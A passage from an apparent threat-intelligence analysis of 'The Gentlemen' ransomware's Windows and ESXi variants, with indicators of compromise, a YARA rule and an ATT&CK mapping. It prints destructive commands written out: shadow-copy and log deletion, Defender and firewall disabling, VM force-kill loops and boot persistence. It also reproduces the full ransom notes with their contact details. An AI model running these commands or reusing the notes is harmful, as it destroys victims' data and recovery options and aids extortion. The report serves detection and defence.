 powershell -Command Get-NetFirewallRule -DisplayGroup "Network Discovery" | Enable-NetFirewallRule

Then loads dynamically mpr.dll and by using the Windows API functions enumerates the networks shares:

  • WNetOpenEnumW
  • WNetEnumResourceW
  • WNetCloseEnum

Directories, Filenames and Extensions Exclusion

As with many other ransomware families, this one also excludes specific directories, filenames, and file extensions from encryption, ensuring that the system remains at least partially usable after the attack.

Excluded Directories:

"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Filenames:

desktop.ini, autorun.ini, ntldr, bootsect.bak, thumbs.db, boot.ini, ntuser.dat, iconcache.db, bootfont.bin, pagefile.sys, ntuser.ini, ntuser.dat.log, autorun.inf, bootmgr, hiberfil.sys, bootmgr.efi, bootmgfw.efi, #recycle, README-GENTLEMEN.txt"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Extensions:

hemepack, nls, diapkg, msi, lnk, exe, scr, bat, drv, rtp, msp, prf, msc, ico, key, ocx, hosts, diagcab, diagcfg, pdb, wpx, hlp, icns, rom, dll, msstyles, mod, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, com, deskthemepack, shs, theme, mpa, gif, mp3, nomedia, spl, cpl, adv, icl, msu

Shadow Copy & Logs Deletion

During execution, the ransomware attempts to delete shadow copies, which are a primary mechanism for recovering encrypted files:

  • vssadmin delete shadows /all /quiet
  • wmic shadowcopy delete
  • rd /s /q C:\\$Recycle.Bin

In addition to shadow copies, the ransomware also deletes various log files. These logs typically contain authentication events, process and service creation events, and traces of lateral movement. The destruction of these artifacts clearly aims to remove forensic evidence of the intrusion and hinder post-incident investigation.

wevtutil cl System
wevtutil cl Application
wevtutil cl Security
del /f /q C:\\Windows\\Prefetch\\*.*
del /f /q C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*
del /f /q %SystemRoot%\\System32\\LogFiles\\RDP*\\*.*

Free Space Wiping

When the threat actor executes the ransomware with the --wipe argument, the malware additionally attempts to wipe free disk space. It creates a file named wipefile.tmp on each targeted drive and writes 64 MB chunks of data to it until all free space is exhausted. This process overwrites previously deleted file content that could otherwise be recovered using forensic tools.

Background Image Change

If the --silent argument is not specified, the ransomware replaces the desktop background with an embedded image. The image resource is written to %TEMP%\\gentlemen.bmp, and the malware then calls SystemParametersInfoW to set it as the desktop wallpaper.

File Encryption

Before encryption begins, the ransomware checks whether the file size exceeds 0x100000 (1,048,576 bytes, or 1 MB). Files of 1 MB or smaller are routed to the small file function, while files larger than 1 MB are routed to the large file function.

Regardless of size, the key derivation process is identical for both paths. The ransomware generates a random 32-byte ephemeral private key. Using X25519 (the Diffie–Hellman primitive over Curve25519), it derives two values: first, the ephemeral public key by multiplying the private key with the curve basepoint, and second, a shared secret by combining the ephemeral private key with the attacker’s public key. The ephemeral public key is not secret and will later be stored in the file, while the shared secret remains only in memory. Key material for encryption is then constructed directly from these values. The ephemeral public key is used as the 32-byte symmetric key, while the first 24 bytes of the shared secret (derived with the attacker’s public key) are used as the nonce.

For small files (less than 1MB) the contents are encrypted using XChaCha20, a stream cipher, which XORs the plaintext with a keystream to produce ciphertext of identical length. The original file is overwritten in place with this ciphertext.

For large files larger than 1 MB, the encryption process changes depending on optional speed mode arguments that control how much of the file is actually encrypted. Instead of processing the entire file, the algorithm only encrypts a small portion of it. In fast mode about 9 percent of the file is encrypted. In superfast mode about 3 percent is encrypted. In ultrafast mode only about 1 percent of the file is affected. The encrypted regions are selected across the file and processed in chunks of about 64 KB. Each chunk is read, encrypted using XChaCha20, and written back to the same position in the file. After encryption, the function appends a footer to the file containing the string --eph--, followed by the base64-encoded ephemeral public key and a newline. This is followed by a marker section --marker--GENTLEMEN\\n and a final GENTLEMEN sentinel. The stored ephemeral public key allows the attacker, who possesses the corresponding private key, to recompute the shared secret and reconstruct the nonce, enabling decryption of the file. If any of the speed-increasing arguments (fast, superfast, or ultrafast) were specified during large file encryption, the selected argument is also appended to the end of the file.

--eph--$BASE64--marker--GENTLEMEN\nGENTLEMEN--fast--\n

The attacker’s decryptor obtains the base64 value from the header (--eph-- field), decodes it to get the ephemeral public key, and uses it directly as the ChaCha20 key. It then recomputes sharedSecret = X25519(attacker_privKey, ephemeralPubKey) using the attacker’s own private key, and uses the first 24 bytes of sharedSecret2 as the ChaCha20 nonce. With the key and nonce recovered, it decrypts the encrypted files.


The Gentlemen ESXi Variant

Latest ELF variant of The Gentlemen ransomware remains undetected by the majority of the Antivirus systems as seems in VirusTotal. The incapability to trigger and execute the malicious code due to the --password requirement possibly affects the detection results, even though for Windows samples this does not appear to be an issue.

Figure 8 — VirusTotal detection rate.

Command Line Arguments

The majority of the arguments functionalities are observed as well in the ELF variant of The Gentlemen ransomware.

Usage: %s --password PASS --path DIR [--ignore VMS] [--T MIN] [--fast] [--superfast] [--ultrafast]

Main Flags 
  --password PASS         Access password (required)
  --path DIR              Target directories, comma-separated (required)
                          Example:  --path /vmfs/
                          Example2: --path "/vmfs/,/datastore/,/mnt/storage"
  --ignore VMS            VM display names to ignore, comma-separated (optional)
                          Example:  --ignore DomainController
                          Example2: --ignore "DomainController,Backup Server"
  --T, --timer MIN        Delay before start in minutes (optional)
                          Example:  --T 15
                          Example2: --timer 15

Speed Flags (can't be mixed) 
  --fast                  Lock 9 percent of file (optional)
  --superfast             Lock 3 percent of file (optional)
  --ultrafast             Lock 1 percent of file (optional)

[+]

The ESXi variant exposes fewer functionalities than the Windows variant, as many features present in the Windows version are not required on ESXi systems.

Flag / ArgumentWindowsESXi
--password PASSAccess password (required)Access password (required)
--path DIRS / DIRComma-separated list of target directories/disks (optional). Example: --path "C:\\,D:\\,\\\\nas\\share"Target directories, comma-separated (required).
Example: --path "/vmfs/,/datastore/,/mnt/storage"
--T MINDelay before start, in minutes (optional)Delay before start in minutes (optional)
--timer $MINNot presentAlias for delay before start in minutes (optional)
--systemRun as SYSTEM; encrypt only local drivesNot present
--sharesEncrypt only mapped network drives and UNC shares in session contextNot present
--fullTwo-phase: --system + --shares (“Best practice”)Not present
--spread $CREDSLateral movement: "domain/user:pass" or "" for current sessionNot present
--gpoDeploy via Group Policy to all domain computers (run on DC)Not present
--silentSilent mode: do not rename/retime files; no wallpaper changeNot present
--keepDo not self-delete after encryptionNot present
--wipeWipe free space after encryptionNot present
--ignore VMSNot presentVM display names to ignore, comma-separated.
Example: --ignore "DomainController,Backup Server"
--fast9 percent crypt. (optional)Lock 9 percent of file (optional)
--superfast3 percent crypt. (optional)Lock 3 percent of file (optional)
--ultrafast1 percent crypt. (optional)Lock 1 percent of file (optional)

The minimum required command‑line for Linux Gentlemen ransomware execution is:

$process_name --password $pass --path $path(s)

VM & Processes Termination

Ransomware operators shut down virtual machines on an ESXi host to make their attack more effective and efficient. By powering off the VMs, they release locks on virtual disk files, allowing those files to be encrypted more reliably and with less risk of interference or corruption. This also disables any security tools running inside the guest systems, reducing the chance of detection or response.

The locker performs a controlled shutdown of all virtual machines on a VMware ESXi host. It first lists all registered VMs and iterates through them to issue a graceful power-off command (optionally skipping specified VMs). After a short wait to allow clean shutdowns, it checks for any remaining running VM processes using esxcli. If any VMs are still active, it forcefully terminates them by killing their associated world processes. In effect, it ensures that all VMs are stopped, using escalation from graceful shutdown to hard kill only when necessary.

# Enumerate all registered VMs (popen, output parsed line by line)
vim-cmd vmsvc/getallvms | tail -n +2

# Power off each VM gracefully (one system() call per VM, skipping --ignore list)
vim-cmd vmsvc/power.off <vmid> > /dev/null 2>&1

# After 8-second sleep: enumerate still-running VM processes (popen)
esxcli --formatter=csv vm process list | tail -n +2

# Force-kill any remaining VM processes by world-id (one per process)
esxcli vm process kill --type=force --world-id=<world_id> > /dev/null 2>&1

Persistence

The ransomware copies itself to /bin/.vmware-authd mimicking a legitimate VMware daemon.

cp -f '<self>' '/bin/.vmware-authd' 2>/dev/null && chmod +x '/bin/.vmware-authd'

Then creates a script file that ESXi runs at boot.

mkdir -p /etc/rc.local.d 2>/dev/null; \\
echo '#!/bin/sh' > '/etc/rc.local.d/local.sh'; \\
echo 'sleep 30 && /bin/.vmware-authd <original_argv> &' >> '/etc/rc.local.d/local.sh'; \\
chmod +x '/etc/rc.local.d/local.sh'

Adds a second persistence layer via crontab. At every reboot, after a 60-second delay, the ransomware relaunches via the hidden binary with the original arguments.

echo '@reboot sleep 60 && /bin/.vmware-authd <original_argv>' | crontab - 2>/dev/null

Pre-Encryption Preparation

The ransomware modifies a VMware ESXi host to prepare the storage layer for fast, consistent disk writes and then disables automatic VM recovery. It increases the VMFS write buffer capacity and adjusts the flush interval to control how data is committed to disk, then forces synchronous writes across all VMFS datastores by briefly creating and deleting eager-zeroed thick disks. Finally, it clears and disables the VM autostart configuration so virtual machines will not restart automatically after a reboot.

# Maximize VMFS write buffer capacity (speeds up encryption throughput)
esxcfg-advcfg -s 32768 /BufferCache/MaxCapacity > /dev/null 2>&1

# Reduce buffer flush interval (forces faster disk commit)
esxcfg-advcfg -s 20000 /BufferCache/FlushInterval > /dev/null 2>&1

# Create eagerzeroedthick disk on every VMFS-5 datastore (forces buffer flush before encryption — ensures plaintext is written to disk)
for I in $(esxcli storage filesystem list | grep 'VMFS-5' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Same as above for VMFS-6 datastores
for I in $(esxcli storage filesystem list | grep 'VMFS-6' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Clear ESXi VM autostart configuration (prevents VMs from restarting)
vim-cmd hostsvc/autostartmanager/clear_autostart > /dev/null 2>&1

# Disable autostart manager entirely
vim-cmd hostsvc/autostartmanager/enable_autostart 0 > /dev/null 2>&1

Directories, Filenames and Extensions Exclusion

The ransomware implements a targeted exclusion list to avoid encrypting critical components of the underlying VMware ESXi / Linux-based operating system, as well as associated virtualization and boot infrastructure.

Directories:

/boot/, /proc/, /sys/, /run/, /dev/, /lib/, /etc/, /bin/, /mbr/, /lib64/, /vmware/lifecycle/, /vdtc/, /healthd/

File types:

vmsd, sf, vmx~, lck, vmx, nvram, v00, v01, v02, v03, v04, v05, v06, v07, v08, v09, b00, b01, b02, b03, b04, b05, b06, b07, b08, b09, t00, t01, t02, t03, t04, t05, t06, t07, t08, t09, locker, unlocker, .go, .exe

Files:

initrd, vmlinuz, basemisc.tgz, README-GENTLEMEN.txt, boot.cfg, bootpart.gz, features.gz, imgdb.tgz, jumpstrt.gz, onetime.tgz, state.tgz, useropts.gz


Conclusion

The activity surrounding The Gentlemen RaaS underscores how quickly a well‑designed affiliate program can evolve from newcomer to a high‑impact ecosystem player. By combining a versatile, multi‑platform locker set with built‑in lateral movement, Group Policy–based mass deployment, and strong defense‑evasion capabilities, the operation enables even moderately skilled affiliates to execute enterprise‑scale intrusions with ransomware detonation as the final stage.

The observed use of SystemBC alongside Cobalt Strike, and the discovery of a botnet with more than 1,570 likely corporate victims, further highlights that The Gentlemen affiliates are not operating in isolation, but are actively integrating into a broader toolchain of mature, post‑exploitation frameworks and proxy infrastructure. Organizations should therefore treat The Gentlemen not as an isolated family, but as part of a wider, modular intrusion ecosystem where initial access, post‑exploitation, and encryption capabilities can be rapidly recombined and reused across campaigns.


Indicators of Compromise

DescriptionValue
Cobalt Strike C&C91.107.247[.]163
SystemBC992c951f4af57ca7cd8396f5ed69c2199fd6fd4ae5e93726da3e198e78bec0a5
SystemBC C&C45.86.230[.]112
The Gentlemen Windows025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a
22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67
2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d
3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235
48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd
62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8
860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923
87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c
8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db
91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1
994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3
9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454
a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad
b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6
c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8
c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73
ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2
efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f
f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12
fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
Embedded binaries (psexesvc.exe/psexec.exe)cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
gentlemen.bmpfe1033335a045c696c900d435119d210361966e2fb5cd1ba3382608cfa2c8e68
The Gentlemen Linux5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca
788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19
1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c


Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}


Ransomware Note – README-GENTLEMEN.txt

Windows Version:

{VICTIM_ID} {VICTIM}= YOUR ID

Gentlemen, your network has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide three sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: hxxps://x.com/TheGentlemen25

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.
After adding (us) in Tox or Session, please wait for your request to be processed and stay online.
If you do not receive a reply within 36 hours, create another account and contact us again.
In your first message in chat, immediately provide your ID from the note and the name of your organization. 
Assign one person as contact responsible for all negotiations. Do not create multiple chats.

ESXi Version:

{VICTIM_ID} = YOUR ESXI ID

Gentlemen, your ESXI has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide two sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: <https://x.com/TheGentlemen25>

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.


MITRE ATT&CK Matrix

TacticTechnique / Sub‑TechniqueDescription
Initial AccessValid Accounts (T1078)Attacker already active on Domain Controller with Domain Admin privileges; --spread "domain\\user:password" uses harvested domain credentials for remote execution and lateral movement.
Initial AccessExternal Remote Services (T1133(inferred)Initial entry not directly observed; context suggests possible compromise via exposed remote services (e.g., RDP/VPN), but campaign evidence starts post‑compromise on DC.
ExecutionCommand Shell (T1059.003)Widespread cmd.exe /C usage: systeminfowhoamidir c:\\userstype \\\\host\\share\\file.txttaskkillgpupdate /forcenetrd, etc.
ExecutionPowerShell (T1059.001)Defender tampering and firewall changes via PowerShell; internal HTTP download of grand.exe to c:\\programdata\\r.exe; extensive script‑based lateral movement using Invoke-Command and multi‑step PowerShell scripts (SCRIPT_ASCRIPT_G).
ExecutionWindows Management Instrumentation (T1047)wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic ... "C:\\Temp\\<exe> <creds>" to execute scripts and lockers on remote hosts.
ExecutionScheduled Task/Job: Scheduled Task (T1053.005)Creation of local and remote tasks: UpdateSystemUpdateUserDefUDefSUpdateGUUpdateGU2UpdateGSUpdateGS2 using schtasks /Create /S <target> ... /Run for execution and persistence.
ExecutionSystem Services: Service Execution (T1569.002)Remote services DefSvcUpdateSvcUpdateSvc2 created and started via sc \\\\<target> create ... and sc \\\\<target> start ... to run ransomware or helper scripts.
ExecutionNative API (T1106)Use of SystemParametersInfoW to set gentlemen.bmp as wallpaper; dynamic loading of mpr.dll and calls to WNetOpenEnumWWNetEnumResourceWWNetCloseEnum to enumerate network shares.
ExecutionUser Execution: Malicious File (T1204.002)Operator‑driven execution of ransomware payloads (r.exeg.exeo.exe, GPO‑deployed locker) on endpoints as final stage of intrusion.
PersistenceScheduled Task/Job: Scheduled Task (T1053.005)Local persistence via schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM; remote tasks on many hosts ensure repeated execution and durability of the locker.
PersistenceRegistry Run Keys / Startup Folder (T1060)Run key added: reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f to autostart ransomware in user context.
PersistenceCreate or Modify System Process: Windows Service (T1543.003)Creation of new services (DefSvcUpdateSvcUpdateSvc2) on remote hosts to execute ransomware or helper logic, typically running as SYSTEM.
PersistenceBoot or Logon Autostart Execution: rc.local (T1547.009)ESXi/Linux variant copies itself to /bin/.vmware-authd and configures /etc/rc.local.d/local.sh with sleep 30 && /bin/.vmware-authd <original_argv> & to auto‑run on boot.
PersistenceScheduled Task/Job: Cron (T1053.003)ESXi variant adds cron entry @reboot sleep 60 && /bin/.vmware-authd <original_argv> via crontab -, providing additional boot persistence.
PersistenceBoot or Logon Initialization Scripts (T1037.004)Combined use of rc.local (/etc/rc.local.d/local.sh) and cron @reboot scripts ensures the locker relaunches after ESXi host reboot.
PersistenceIngress Tool Transfer (T1105)--gpo deployment mode copies locker to \\\\<domain>\\NETLOGON\\<exe> and injects ScheduledTasks.xml into GPO path; all domain machines then pull and execute the locker via GPO‑scheduled tasks.
Privilege EscalationValid Accounts (T1078)Stolen Domain Admin and other domain credentials used with PsExec (-u <domain\\user> -p <pass>) and --spread to perform privileged remote execution and lateral movement.
Privilege EscalationScheduled Task/Job: Scheduled Task (T1053.005)Tasks created to run as SYSTEM (/RU SYSTEM) – locally and via GPO – escalate from user to LocalSystem context for file encryption and defense evasion.
Privilege EscalationCreate or Modify System Process: Windows Service (T1543.003)Attackers create new services configured to run under high‑privilege service accounts (usually SYSTEM) on remote hosts to execute ransomware components.
Defense EvasionImpair Defenses: Disable or Modify Tools (T1562.001)Defender disabled and neutered via Set-MpPreference -DisableRealtimeMonitoring $true; exclusions added for C:\\C:\\Temp\\\\<host>\\share$, and the ransomware process; these operations are performed locally and remotely via scripts.
Defense EvasionImpair Defenses: Disable or Modify System Firewall (T1562.004)Firewall disabled globally: netsh advfirewall set allprofiles state offSet-NetFirewallProfile -Profile Domain,Public,Private -Enabled False; firewall service mpssvc is stopped and set to disabled.
Defense EvasionImpair Defenses: Disable or Modify Cloud/Network Security (T1562.007)Attackers enable SMB1 (Enable-WindowsOptionalFeature ... SMB1Protocol), loosen LSA anonymous access (EveryoneIncludesAnonymous=1RestrictAnonymous=0), and set open network shares using net share + icacls, reducing network/segmentation protections.
Defense EvasionIndicator Removal on Host: Clear Windows Event Logs (T1070.001)wevtutil cl Systemwevtutil cl Applicationwevtutil cl Security executed to remove Windows event logs and hinder forensic reconstruction.
Defense EvasionIndicator Removal on Host: File Deletion (T1070.004)Forensic artefacts removed: prefetch (C:\\Windows\\Prefetch\\*.*), Defender logs (C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*), RDP logs (%SystemRoot%\\System32\\LogFiles\\RDP*\\*.*), $Recycle.Bin, plus overwriting free space via wipefile.tmp with 64 MB chunks.
Defense EvasionIndicator Removal on Host: Timestomp (T1070.006(implied)Report notes --silent avoids file renaming and timestamp changes; default behavior implied to alter names/timestamps, hampering timeline reconstruction and signature‑based detection.
Defense EvasionMasquerading: Masquerade Task or Service (T1036.004)ESXi locker placed at /bin/.vmware-authd, masquerading as legitimate VMware vmware-authd daemon.
Defense EvasionMasquerading: Match Legitimate Name or Location (T1036.005)Ransomware components use generic names (r.exeg.exeo.exe) and common locations (C:\\ProgramData\\C:\\Temp\\, admin shares) to blend with normal tools and admin activity.
Defense EvasionHide Artifacts: Hidden Window / Binary (T1564.003)ESXi binary uses a leading dot .vmware-authd to stay hidden; --silent mode on Windows avoids visible UI changes like wallpaper and renaming, running ransomware quietly in the background.
Defense EvasionObfuscated/Encrypted Artifacts (T1027)Per‑file ephemeral X25519 keys and XChaCha20 encryption plus footer markers (`–eph–<base64_ephemeral_pubkey>–marker–GENTLEMEN\nGENTLEMEN[–fast
Credential AccessOS Credential Dumping (T1003)Mimikatz artefacts recovered from memory show dumping of domain credentials and stored secrets from compromised workstations.
Credential AccessCredentials from Password Stores (T1555)Mimikatz dumping likely includes passwords from Windows Credential Manager/password stores, used later for --spread and PsExec.
DiscoverySystem Information Discovery (T1082)cmd.exe /C systeminfo run on compromised hosts to gather OS and hardware information.
DiscoveryAccount Discovery (T1033)cmd.exe /C whoami to confirm identity and context on multiple hosts.
DiscoveryAccount Discovery: Domain Account (T1087.002)net group "Domain Admins" /domain and net group "Enterprise Admins" /domain executed to enumerate domain‑level privileged groups.
DiscoveryDomain Trust Discovery (T1482)nltest /domain_trustsnltest /dclist (implied) to identify domain trust relationships and domain controllers.
DiscoveryRemote System Discovery (T1018)Domain computers enumerated via Get-ADComputer -Filter *; each host pinged to confirm reachability before executing lateral movement steps.
DiscoveryPermission Groups Discovery: Domain Groups (T1069.002)net group "Domain Admins" /domain and similar commands to discover privileged group membership.
DiscoveryNetwork Share Discovery (T1135)mpr.dll dynamically loaded; WNetOpenEnumWWNetEnumResourceWWNetCloseEnum used to enumerate available network shares after enabling network discovery services.
DiscoveryFile and Directory Discovery (T1083)cmd.exe /C dir c:\\users; reading internal files (e.g., Chinese language “公司主機紀錄.txt”) on file servers via UNC paths.
DiscoverySoftware Discovery: Security Software Discovery (T1518.001)wmic product where Name like '%kaspe%' get Name, IdentifyingNumber executed to identify installed Kaspersky (or similar) security products.
DiscoveryNetwork Service Scanning (T1046(partly inferred)While explicit port scans are not shown, large‑scale multi‑protocol lateral attempts via PsExec, WMI, remote services, and scheduled tasks after pinging hosts imply service reachability probing.
Lateral MovementRemote Services: SMB/Windows Admin Shares (T1021.002)Payloads dropped to \\\\<hostname>\\ADMIN$\\<random>.exe\\\\<target>\\C$\\Temp\\<exe>; share share$=C:\\Temp created and ACLs widened via icacls to support anonymous/Everyone access.
Lateral MovementRemote Services: RPC (T1021.001)Cobalt Strike and subsequent ransomware payloads executed over RPC from the Domain Controller after being copied to admin shares.
Lateral MovementRemote Services & Service Execution (T1021.001 + T1569.002)psexec \\\\<target> -accepteula -d -s/-h ... for remote execution, along with remote sc create/sc start to run services DefSvcUpdateSvc*.
Lateral MovementRemote Services: Windows Remote Management (T1021.006)PowerShell Invoke-Command -ComputerName <target> -ScriptBlock {...} used to disable Defender, set exclusions, and start lockers on remote machines.
Lateral MovementWindows Management Instrumentation (T1047)wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic /node:<target> process call create "C:\\Temp\\<exe> <creds>" to run scripts and lockers remotely.
Lateral MovementScheduled Task/Job: Scheduled Task (T1053.005)Remote scheduled tasks (DefUDefSUpdateGU*UpdateGS*) created on numerous hosts and executed with /S <target> and /Run.
Lateral MovementLateral Tool Transfer (T1570)Locker copied using xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K and accessible via \\\\<host>\\share$\\<exe> from remote systems.
Lateral MovementRemote Services: RDP (T1021.001)RDP access enabled via reg add ...\\Terminal Server /v fDenyTSConnections /d 0 /f and firewall rule enabling “Remote Desktop” group, supporting interactive lateral movement.
Lateral MovementIngress Tool Transfer (T1105)Internal HTTP server on DC offers grand.exe on port 8080, fetched via PowerShell downloadfile(...) to c:\\programdata\\r.exe.
Command and ControlProxy: Multi‑hop Proxy (T1090.003)SystemBC (socks.exe) deployed; attempts outbound C2 to 45.86.230[.]112; acts as encrypted SOCKS proxy for C2 tunneling and pivoting.
Command and ControlIngress Tool Transfer (T1105)Cobalt Strike payloads and ransomware components transferred via HTTP, SMB (ADMIN$C$), and NETLOGON share as part of C2 and staging.
Command and ControlApplication Layer Protocol: Web Protocols (T1071.001)Cobalt Strike beacon from rundll32.exe to 91.107.247[.]163 using ports 443 and later 80 (HTTPS/HTTP).
Command and ControlEncrypted Channel: Asymmetric Cryptography (T1573.002)Cobalt Strike uses encrypted HTTPS; SystemBC uses RC4‑encrypted tunnel over SOCKS; both provide encrypted C2 channels.
ExfiltrationExfiltration Over C2 Channel (T1041)Ransom note claims “We have exfiltrated all your confidential and business data (including NAS, clouds, etc.)”; details not shown, but implies data exfiltration via C2/remote access tooling (Cobalt Strike, SystemBC, AnyDesk).
Impact (Extortion)Data Destruction in Extortion (T1654)Threats of “irreversible wipe of all data and your network” if victim attempts restoration or refuses to negotiate, coupled with timed leak‑site publication.
Impact (Extortion)Financial Theft / Extortion (T1657)Classic double‑extortion: demands payment for decryption and to prevent public leak; uses Tox IDs, Session, Tor blog tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion, and X account TheGentlemen25.
ImpactData Encrypted for Impact (T1486)Multi‑OS lockers encrypt data (Windows/Linux/ESXi); for large files only 1–9% (depending on --fast/--superfast/--ultrafast) is encrypted with XChaCha20; per‑file footer includes --eph--<base64>--marker--GENTLEMEN\\nGENTLEMEN[...]--.
